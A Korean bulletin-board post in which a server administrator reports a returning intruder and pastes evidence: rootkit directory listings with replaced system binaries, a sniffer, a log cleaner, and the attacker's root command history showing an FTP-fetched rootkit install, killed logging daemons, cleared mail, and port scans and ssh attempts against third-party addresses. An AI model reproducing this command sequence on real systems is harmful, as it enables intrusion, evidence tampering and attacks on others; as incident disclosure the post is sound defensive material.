>> Edit article

			이름
			제목
			패스워드

어제 일요일 다시 들어와서 이리저리 장난치고 갔군요. 같은놈인데 이번에는 흔적을 좀더 자세하게 남겼어요. 일단 발견한건 3 sn 3 shell 3 bind 3 s 3 sense 3 synk 3 nmap 3 mtr 3 telnet 3 .sex 3 .sex1 3 .sex2 3 klogd 3 login 3 muh 3 eggdrop 3 bnc 합계 324 drwxr-xr-x    3 root    root        4096  9월 22 19:41 ./ drwxr-xr-x  12 root    root        4096  9월 22 19:32 ../ drwxr-xr-x    2 root    root        4096  9월 22 19:41 .back-up/ -rwx--x--x    1 root    root          236  9월 22 19:06 logclear* -rwx--x--x    1 root    root        8268  9월 22 18:56 s* -rwxr-xr-x    1 root    root        4060  9월 22 18:56 sense* -rwx--x--x    1 root    root        7165  9월 22 18:56 sniff* -rwxr-x--x    1 root    root        9490  9월 22 18:56 synk* -rw-r--r--    1 root    root      271087 10월  2 17:30 tcp.log .back-up 합계 188 drwxr-xr-x    2 root    root        4096 10월  2 17:33 ./ drwxr-xr-x    3 root    root        4096 10월  2 17:32 ../ -rwxr-xr-x    1 root    root        19840  9월 22 19:41 ifconfig* -rwxr-xr-x    1 root    root        12235  9월 22 19:41 login* -rwxr-xr-x    1 root    root        35300  9월 22 19:41 netstat* -rwxr-xr-x    1 root    root        33280  9월 22 19:41 ps* -rwxr-xr-x    1 root    root        15538  9월 22 19:41 rc.sysinit* -rwxr-xr-x    1 root    root        53588  9월 22 19:41 top* # root 히스토리 w mkdir .cache cd .cache ftp cyberg.net tar zxvf .rk.tgz v .rk.tgz rk.tgz mv .rk.tgz rk.tgz ps -ax | more killall -9 klogd killall -9 atd ps -ax | grep klogd kill -9 3863 telnet localhost 22546 ps -ax | more killall -9 mtr kill -9 15587 cd rk ./install ps -ax | more tail -f /var/lgomess tail -f /var/log/messages telnet localhost 222 telnet localhost 22546 ls -lsa /usr/sbin/login ls -lsa cd .. ls -lsa cd .. rm -rf .cache cd /tmp ls -lsa rm -rf .bckup cd /usr/X11R6/include/X11 cd ... ls -lsa ps -ax | grep sniff telnet localhost 222 telnet localhost 22546 cat /dev/.ps ]cat /dev/.ps cat /dev/.net netstat -a -t  | moer etstat -a -t | more netstat -a -t | more cat /dev/.net exit w nmap -sS -O -p 1-65535 195.232.107.71 > /usr/doc/tess-1.1 nmap -sS -O -p 1-65535 195.232.107.71 > /usr/doc/tess-1.1& ps -ax | more cat /usr/doc/tess-1.1 nmap -sS -O -P0 -p 1-65535 195.232.107.71 >/usr/doc/tess-1.1 & ps -ax | more cat /usr/doc/tess-1.1 mail echo > /var/spool/mail/root cat /usr/doc/tess-1.1 mail killall -9 nmap cat /usr/doc/tess-1.1 ./psr mtr srv1.barkers.co.uk ssh -l root -v -C srv1.barkers.co.uk -p 222 ssh -l root -v -C 212.9032.77 ssh -l root -v -C 212.90.32.77 -p 222 ssh -l root -v -C 212.90.32.79 -p 222 exit cd /usr/X11R6/include/X11 cd ... ls ./s 0 x.inext.ro 1 1024 & ./s 0 x.inext.ro 1 1024 & ./s 0 193.230.207.65 1 1024 & ./s 0 193.230.207.65 1 1024 & traceroute 194.102.114.100 w netstat -a -t at /edv/.ps cat /dev/.ps ps -ax | more echo "3 22" >> /dev/.net netstat -a -t /sbin/ipchains -L killall -9 s /s 0 194.102.125.1 1024 & /s 0 194.102.125.1 1024 & /s 0 194.102.125.1 1 1024 & /s 0 194.102.125.1 1 1024 & ./s 0 194.102.124.1 1 1024 & ./s 0 194.102.124.1 1 1024 & ls-lsa ls -lsa strings sniff ./sniff ./sniff & killall -9 s exit cd /usr/X11R6/include/X11 cd ... ls -lsa ./s 0 194.102.124.1 1 1024 ./s 0 194.102.124.1 1 1024 & ./s 0 194.102.124.1 1 1024 & killall -9 s echo > /var/spool/mail/root exit w cd /usr/X11R6/include/X11/... ls -lsa ./sesne tcp.log ./sense tcp.log exit w cd /usr/X11R6/include/X11/... ls -lsa ./sense tcp.log exit ... cd /usr/X11R6/include/X11 cd cd /usr/X11/R6/include/X11/... cd /usr/X11R6/include/X11/... ./s 0 193.226.122.177 1 1024 & ./s 0 193.226.122.177 1 1024 & killall -9 s ./s 0 193.226.122.77 1 1024 & ./s 0 193.226.122.77 1 1024 & killall -9 s exit w cd /usr/X11R6/include/X11/... ./s 0 194.102.124.73 1 1024 & exit w cd /usr/X11R6/include/X11/... ls ls -lsa ./sense tcp.log exit 대충 이정도 입니다. 이번에는 replace된 바이너리 툴킷들을 남겨놓고 갔습니다. 왜 남겨놓고 갔는지는 모르겠네요..긁적~...나쁜놈.

Copyleft 1999-2026 by JSBoard Open Project Theme Designed by IDOO All right reserved